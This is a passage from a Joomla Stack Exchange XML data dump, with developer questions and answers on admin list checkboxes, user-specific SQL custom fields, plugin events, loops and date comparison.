$this-&amp;gt;sortDirection, $this-&amp;gt;sortColumn); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;                &amp;lt;th width=&quot;2%&quot;&amp;gt;&amp;lt;?php echo JHtml::_('grid.sort', 'Published', 'published', $this-&amp;gt;sortDirection, $this-&amp;gt;sortColumn); ?&amp;gt;&amp;lt;/th&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;            &amp;lt;?php  if (!empty($this-&amp;gt;items)) :  ?&amp;gt;&#xA;            &amp;lt;?php foreach ($this-&amp;gt;items as $i =&amp;gt; $row) : ?&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td class=&quot;k2ui-center&amp;lt;?php if($context == &quot;modalselector&quot;) echo ' k2ui-not-visible'; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php $row-&amp;gt;checked_out = 0; echo @JHTML::_('grid.checkedout', $row, $key ); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td align=&quot;center&quot;&amp;gt;&amp;lt;?php echo $row-&amp;gt;id; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td&amp;gt;&amp;lt;?php echo $row-&amp;gt;name; ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td align=&quot;center&quot;&amp;gt;&amp;lt;?php  echo JHtml::_('jgrid.published', $row-&amp;gt;published, 'k2toflexi', true, 'cb'); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;?php endforeach; ?&amp;gt;&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;tfoot&amp;gt;&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;5&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tfoot&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;sortColumn; ?&amp;gt;&quot; /&amp;gt; &amp;lt;!-- Todo: 404 composant introuvable --&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;sortDirection; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt; &amp;lt;!-- Probably useless --&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot; /&amp;gt;&#xA;    &amp;lt;?php if($context == &quot;modalselector&quot;): ?&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;context&quot; value=&quot;modalselector&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;tmpl&quot; value=&quot;component&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;fid&quot; value=&quot;&amp;lt;?php echo JRequest::getCmd('fid'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;fname&quot; value=&quot;&amp;lt;?php echo JRequest::getVar('fname'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;output&quot; value=&quot;&amp;lt;?php echo JRequest::getCmd('output'); ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;    &amp;lt;?php echo JHTML::_('form.token'); ?&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; name=&quot;tmpl&quot; value=&quot;component&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is get the line value if it is checked&#xA;I found this line in several components: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;? Php $ row-&amp;gt; checked_out = 0; echo @JHTML :: _ ('grid.checkedout', $ row, $ key); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I didn't manage to get anything out of it!&#xA;Do you have a direction to take? I'm a bit lost!&#xA;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="14167" LastActivityDate="2022-04-14T17:03:15.310" Title="Retrieve the value of a line a checkbox" Tags="|joomla-3.x|jdatabase|mvc|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26832" PostTypeId="1" AcceptedAnswerId="26843" CreationDate="2020-03-24T17:44:45.713" Score="1" ViewCount="589" Body="&lt;p&gt;If I hardwire a &lt;code&gt;created_by&lt;/code&gt; clause in a joomla sql custom field, the query works as it should (for this specific userid the clause is, &lt;code&gt;and created_by = 305&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id AS value, title AS text&#xA;FROM #__content&#xA;where catid = 8 and created_by = 305&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want to do is allow the &lt;code&gt;created_by = ???&lt;/code&gt; clause to be dynamic (substituted with &lt;code&gt;JFactory::getUser()-&amp;gt;id&lt;/code&gt;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured if I make the custom SQL like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT id AS value, title AS text&#xA;FROM #__content&#xA;where catid = 8 and created_by = %%userid%%&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I could/should be able to replace the token &lt;code&gt;%%userid%%&lt;/code&gt; with a dynamic number before the query is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried bending the existing custom sql field - just to see if it will work in principle, but I'm not having too much luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;plugins/fields/sql/tmpl/sql.php&lt;/strong&gt; I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $fieldParams-&amp;gt;get('query', '');&#xA;&#xA;if (substr_count($value,&quot;%%userid%%&quot;) &amp;gt; 0){&#xA;    $userid = JFactory::getUser()-&amp;gt;id;&#xA;    str_replace(&quot;%%userid%%&quot;, $userid, $query);&#xA;}&#xA;&#xA;// Run the query with a having condition because it supports aliases&#xA;$db-&amp;gt;setQuery($query . ' having value in (' . trim($condition, ',') . ')');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would create a brand new custom field, and be happy to donate it to the world!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not even having much fun in trying to debug this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@mickmacusa and @Thiago, when my sql statement has the token %%userid%%, the &lt;code&gt;str_replace(&quot;%%userid%%&quot;, $userid, $query);&lt;/code&gt; simply does not happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried simplifying the code so that it's NOT EVEN looking for my token - it's &lt;em&gt;supposed&lt;/em&gt; to just do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$db-&amp;gt;setQuery($query . ' having value in (' . trim($condition, ',') . ')');&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now, I think that I've not understood how the supplied sql field actually works.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Absolutely fails... The Query ignores absolutely anything I try... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $fieldParams-&amp;gt;get('query', '');&#xA;&#xA;$db-&amp;gt;setQuery('SELECT mince as value ,potatoes_oinions_peas as text FROM #__marketstall WHERE catid = 8');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which ought to cause a MAJOR fit when the query is being executed, since it is a totally nonsense query... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what actually happens is it executes the ORIGINAL sql statement &lt;em&gt;go figure&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's 3 things:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either I'm editing the wrong bit of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something is being MASSIVELY cached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it seems to me as though the SQL statement that is 'defined' by the developer is getting stored somewhere else, and the programmatic change of the statement via the plugin code is being utterly ignored, somehow. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just don't know enough about how these are supposed to work. I really didn't think it would be this difficult.&lt;/p&gt;&#xA;" OwnerUserId="14168" LastEditorUserId="126" LastEditDate="2020-03-25T17:33:05.370" LastActivityDate="2020-04-01T11:49:56.200" Title="How to add the current user's user id in query of a custom field for a plugin?" Tags="|plugin|user|custom-field|sql|" AnswerCount="3" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="26834" PostTypeId="2" ParentId="26831" CreationDate="2020-03-25T10:18:11.620" Score="1" Body="&lt;p&gt;Yes, the ids of those records that have been checked will be sent in the HTTP POST request within a param array named &lt;code&gt;cid&lt;/code&gt;. You can retrieve them via &lt;code&gt;$_REQUEST['cid']&lt;/code&gt;, but it's safer to retrieve them by using the Joomla &lt;code&gt;input&lt;/code&gt; functionality described in &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt; as that provides capability for filtering out data that could result in malicious injection attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would strongly recommend you read &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller&lt;/a&gt; and look at the &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_backend_actions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding backend actions&lt;/a&gt; step of the Joomla MVC tutorial, as they'll provide a lot of background understanding for what you have to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an administrator is presented with the form, selects a number of checkboxes and clicks on one of the buttons then the HTTP POST request will be sent containing:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the &lt;code&gt;cid&lt;/code&gt; array set to the ids of the items which have been checked&lt;/li&gt;&#xA;&lt;li&gt;the &lt;code&gt;task&lt;/code&gt; parameter set to the action associated with the button.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can experiment with the admin articles form with your browser devtools on to see this happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You define what the &lt;code&gt;task&lt;/code&gt; parameter will be set to in your &lt;code&gt;view.html.php&lt;/code&gt; file which displays a button using something like &lt;code&gt;JToolbarHelper::checkin('articles.checkin')&lt;/code&gt;. So when you click several articles and click the &lt;code&gt;Checkin&lt;/code&gt; button, the task parameter will be set to &lt;code&gt;'articles.checkin'&lt;/code&gt; and when the POST is received the server code will run the &lt;code&gt;checkin()&lt;/code&gt; method within the administrator com_content controllers/articles.php. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method is actually absent in this class, so instead it will run &lt;code&gt;checkin()&lt;/code&gt; in the parent AdminController class. The first few lines of this method (in libraries/src/MVC/Controller/AdminController.php) are shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function checkin()&#xA;{&#xA;    $this-&amp;gt;checkToken();&#xA;&#xA;    $ids = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('cid', array(), 'array');&#xA;&#xA;    $model = $this-&amp;gt;getModel();&#xA;    $return = $model-&amp;gt;checkin($ids);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's an explanation of those lines:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&amp;gt;checkToken();&lt;/code&gt; checks the token (preventing CSRF attacks) which is set by the line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHTML::_('form.token'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you've quoted above.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ids = $this-&amp;gt;input-&amp;gt;post-&amp;gt;get('cid', array(), 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gets the ids of the checked records from the HTTP POST cid array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$model = $this-&amp;gt;getModel();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gets a pointer to the model to use. You should define this method yourself in your controller php file, in the similar way to administrator/components/com_content/controllers/articles.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return = $model-&amp;gt;checkin($ids);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is where you call the method in the model to execute what you want to do, passing the ids of the checked records. You'll probably have to write this model function yourself to meet your own requirements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recommend that you follow the Joomla paradigms in com_content etc as it makes your job much easier in the long run, even though there's a fair bit to assimilate at the outset. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2020-03-25T10:18:11.620" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26837" PostTypeId="1" CreationDate="2020-03-25T11:28:58.100" Score="0" ViewCount="91" Body="&lt;p&gt;My user plugin, &quot;Myplugin&quot;, works. I have extra parameters in the plugin that can be set in the Plugin Manager (Menu: Extensions / Plugins / MyPlugin). Those are stored in the database when using the Save button. Joomla core handles this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to encrypt some values, before they get stored in the database. I suppose, this should be done on an event that fires when using the Save button in the Plugin Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been trying to search for an event, but without success. Which one must I include in my plugin or is there another way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="14171" LastEditorUserId="12352" LastEditDate="2020-03-26T03:47:55.530" LastActivityDate="2020-03-26T03:47:55.530" Title="Which Event to include in User Plugin that fires on Save button in Plugin manager?" Tags="|plugin|user|plugin-events|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26838" PostTypeId="2" ParentId="26832" CreationDate="2020-03-25T16:19:43.533" Score="0" Body="&lt;p&gt;Try to get the user id like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   $user = JFactory::getUser();&#xA;   $id= $user-&amp;gt;id; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Try to directly add it onto your sql statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = $fieldParams-&amp;gt;get('query', ''); // Run the query with a having condition because it supports aliases $db-&amp;gt;setQuery($query . ' AND created_by =' . $db-&amp;gt;q('.$id.' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also check permissions and everything.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can try unistalling the plugin.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fix the database by going to:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extension &gt; Manage &gt;  Database and click &quot;fix&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Manually clean the tables releated to your plugin if there's still leftovers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clean the cache.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify if all files are there.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Verify if it's the correct database.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Install the plugin again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;PLUS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of editing &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;plugins/fields/sql/tmpl/sql.php &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;try to edit the helper and the view file. Those are responsible for manipulating the database. That's probably the cause of the error you are getting.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-04-01T11:49:56.200" LastActivityDate="2020-04-01T11:49:56.200" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26841" PostTypeId="1" CreationDate="2020-03-25T18:42:01.747" Score="0" ViewCount="42" Body="&lt;p&gt;I'm trying to retrieve data using while and it won't work. &#xA;The page just keeps loading and ends up with a blank page; no errors or anything but, when i use foreach, it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any explanation? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code i'm using doesn't work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; while($row=$this-&amp;gt;functionname){&#xA;    echo $row['fieldname'];&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when i use this one below, it works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach($this-&amp;gt;functionname as $row) {&#xA;   echo $row['fieldname']&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tried placing in diferent files but i have the same result.&lt;/p&gt;&#xA;" OwnerUserId="14118" LastEditorUserId="14118" LastEditDate="2020-03-26T12:58:00.067" LastActivityDate="2020-03-26T23:13:43.510" Title="Retrieve all fields using while in Joomla" Tags="|joomla-3.x|database|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="26842" PostTypeId="2" ParentId="26832" CreationDate="2020-03-25T19:55:17.213" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Either I'm editing the wrong bit of code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the answer. The layout (&lt;code&gt;plugins/fields/sql/tmpl/sql.php&lt;/code&gt;) is used for displaying the value in frontend, not for rendering the field in forms. You will need to create your own plugin. Either with a custom form field class or with custom code in &lt;code&gt;onCustomFieldsPrepareDom&lt;/code&gt; event.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2020-03-25T19:55:17.213" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="26843" PostTypeId="2" ParentId="26832" CreationDate="2020-03-25T20:11:19.127" Score="0" Body="&lt;p&gt;As you're probably aware, the fields are added in via the system fields plugin. When the admin form is being built the event &lt;code&gt;onContentPrepareForm&lt;/code&gt; is triggered, and this results in the system fields plugin adding in the custom fields into the form xml structure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later in the layout file &lt;code&gt;renderField()&lt;/code&gt; is called, and this causes the field structures in the form xml to be converted into html. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I traced through the process with a debugger and found that the SQL custom fields are rendered using the JFormFieldSQL class which is in libraries/joomla/form/fields/sql.php. In particular the options for the html select field are generated in the &lt;code&gt;getOptions()&lt;/code&gt; method which has the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;query)&#xA;{&#xA;    // Get the database object.&#xA;    $db = JFactory::getDbo();&#xA;&#xA;    // Set the query and get the result list.&#xA;    $db-&amp;gt;setQuery($this-&amp;gt;query);&#xA;&#xA;    try&#xA;    {&#xA;        $items = $db-&amp;gt;loadObjectlist();&#xA;…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;$this-&amp;gt;query&lt;/code&gt; is the SQL query which you specify, and is stored in the &lt;code&gt;#__fields&lt;/code&gt; table row for this custom field, in the &lt;code&gt;params&lt;/code&gt; column of that row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So given the code above, the only way I could think of solving the problem is to create a new type of custom field (as you suggest), and I based it on the code for the sql field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there's 2 parts to it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First is to create the plugin for the new field, which I called &lt;code&gt;sqlext&lt;/code&gt;. I copied the code for the &lt;code&gt;sql&lt;/code&gt; plugin into a directory &lt;code&gt;plg_fields_sqlext&lt;/code&gt;, and then changed 'sql' to 'sqlext' in the code. Eg for the plugin manifest file &lt;code&gt;sqlext.xml&lt;/code&gt; I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&amp;gt;&#xA;&amp;lt;extension type=&quot;plugin&quot; version=&quot;3.7.0&quot; group=&quot;fields&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;    &amp;lt;name&amp;gt;plg_fields_sqlext&amp;lt;/name&amp;gt;&#xA;    &amp;lt;version&amp;gt;3.7.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;description&amp;gt;SQL field extended&amp;lt;/description&amp;gt;&#xA;    &amp;lt;files&amp;gt;&#xA;        &amp;lt;filename plugin=&quot;sqlext&quot;&amp;gt;sqlext.php&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;folder&amp;gt;params&amp;lt;/folder&amp;gt;&#xA;        &amp;lt;folder&amp;gt;tmpl&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;/files&amp;gt;&#xA;    &amp;lt;languages&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_fields_sql.ini&amp;lt;/language&amp;gt;&#xA;        &amp;lt;language tag=&quot;en-GB&quot;&amp;gt;en-GB.plg_fields_sql.sys.ini&amp;lt;/language&amp;gt;&#xA;    &amp;lt;/languages&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the main sqlext.php file the class now should reflect sqlext&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgFieldsSqlext extends FieldsListPlugin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you install that plugin and then enable it, then when you go to create a new field you should see the &lt;code&gt;sqlext&lt;/code&gt; custom field appearing. (The installation gives a warning because of the missing language files, but still installs; you can tidy this up yourself if you like).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second thing is to handle the rendering of the field, and I copied the file in libraries/joomla/form/fields/sql.php into libraries/joomla/form/fields/sqlext.php and changed 3 things: the class name, the &lt;code&gt;$type&lt;/code&gt; and the query handling in &lt;code&gt;getOptions()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class name should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldSQLext extends JFormFieldList&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;$type&lt;/code&gt; class variable should be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $type = 'SQLEXT';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within &lt;code&gt;getOptions()&lt;/code&gt; I checked if &quot;%%userid%%&quot; was in the query, and if so replaced it with what I got from calling &lt;code&gt;JFactory::getUser()-&amp;gt;id&lt;/code&gt;.  So I replaced (from about 6 lines down in that method)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($this-&amp;gt;query)&#xA;    {&#xA;        // Get the database object.&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Set the query and get the result list.&#xA;        $db-&amp;gt;setQuery($this-&amp;gt;query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if ($this-&amp;gt;query)&#xA;    {&#xA;        if (strpos($this-&amp;gt;query, &quot;%%userid%%&quot;))&#xA;        {&#xA;            $userid = JFactory::getUser()-&amp;gt;id;&#xA;            $this-&amp;gt;query = str_replace(&quot;%%userid%%&quot;, $userid, $this-&amp;gt;query);&#xA;        }&#xA;&#xA;        // Get the database object.&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        // Set the query and get the result list.&#xA;        $db-&amp;gt;setQuery($this-&amp;gt;query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This hopefully does what you want! I'm not sure if it's a problem putting your own file in one of the joomla directories. I don't think joomla will delete it when it updates, although obviously if there's a sqlext field created in the future it will be overwritten. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be safe, put the file in eg a &quot;customisations&quot; directory, and then within your plugin &lt;code&gt;sqlext.php&lt;/code&gt; file, within the &lt;code&gt;onCustomFieldsPrepareDom&lt;/code&gt; method add the line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JForm::addFieldPath(JPATH_ROOT . '/customisations');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that Joomla will search this &quot;customisations&quot; directory (as well as its standard ones) to find the class for rendering the field. &lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2020-03-26T20:46:38.410" LastActivityDate="2020-03-26T20:46:38.410" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="26844" PostTypeId="1" AcceptedAnswerId="26848" CreationDate="2020-03-25T21:18:28.400" Score="0" ViewCount="46" Body="&lt;p&gt;I've just installed a number of captcha extensions and they all show &quot;Captcha * (optional)&quot; next to the form's Submit button.  Is there any way to prevent the word 'optional' from displaying?  The input is required.&lt;/p&gt;&#xA;" OwnerUserId="418" LastActivityDate="2020-03-26T21:13:08.193" Title="Captcha 'optional' field displays when it's really required" Tags="|captcha|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="26845" PostTypeId="1" CreationDate="2020-03-26T09:17:34.957" Score="1" ViewCount="149" Body="&lt;p&gt;I need a code to compare if current date and time is greater than article created time of joomla.&#xA;I have this example code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  function CompareDate() {  &#xA;   //            new Date(Year, Month, Date, Hr, Min, Sec);  &#xA;   var dateOne = new Date(2020, 03, 20, 11, 00, 00);  &#xA;   var dateTwo = new Date(2020, 03, 20, 12, 00, 00);  &#xA;&#xA;   if (dateOne &amp;gt; dateTwo) {  &#xA;        alert(&quot;Date One is greater than Date Two.&quot;);  &#xA;    }else {  &#xA;        alert(&quot;Date Two is greater than Date One.&quot;);  &#xA;    }  &#xA;}  &#xA;CompareDate();  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where I need:&#xA; 'dateOne' to be the current date and time and &#xA; 'dateTwo' to be the article createad date and time&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help with this? &lt;/p&gt;&#xA;" OwnerUserId="14172" LastActivityDate="2024-04-06T20:04:30.530" Title="How to compare current date to article created date?" Tags="|joomla-3.x|javascript|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="26846" PostTypeId="2" ParentId="26845" CreationDate="2020-03-26T10:46:24.947" Score="0" Body="&lt;p&gt;I'll assume you're using an inline script inside a PHP file.&#xA;Depending on how you're fetching the creation date of the article, you may need to make some minor modifications:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the creation date of the article&#xA;// This may need to be changed according to your requirements&#xA;$creationDate = $this-&amp;gt;item-&amp;gt;created;&#xA;&#xA;Joomla\CMS\Factory::getDocument()-&amp;gt;addScriptDeclaration('&#xA;    document.addEventListener(&quot;DOMContentLoaded&quot;, function() {&#xA;        function CompareDate()&#xA;        {&#xA;            var dateOne = new Date(&quot;' . $creationDate . '&quot;);&#xA;            var dateTwo = new Date(Date.now());&#xA;&#xA;            if (dateOne &amp;gt; dateTwo)&#xA;            {  &#xA;                alert(&quot;Date One is greater than Date Two.&quot;);&#xA;            }&#xA;            else&#xA;            {  &#xA;                alert(&quot;Date Two is greater than Date One.&quot;);&#xA;            }  &#xA;        }&#xA;&#xA;        CompareDate();&#xA;    });&#xA;');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2020-03-26T10:55:44.460" 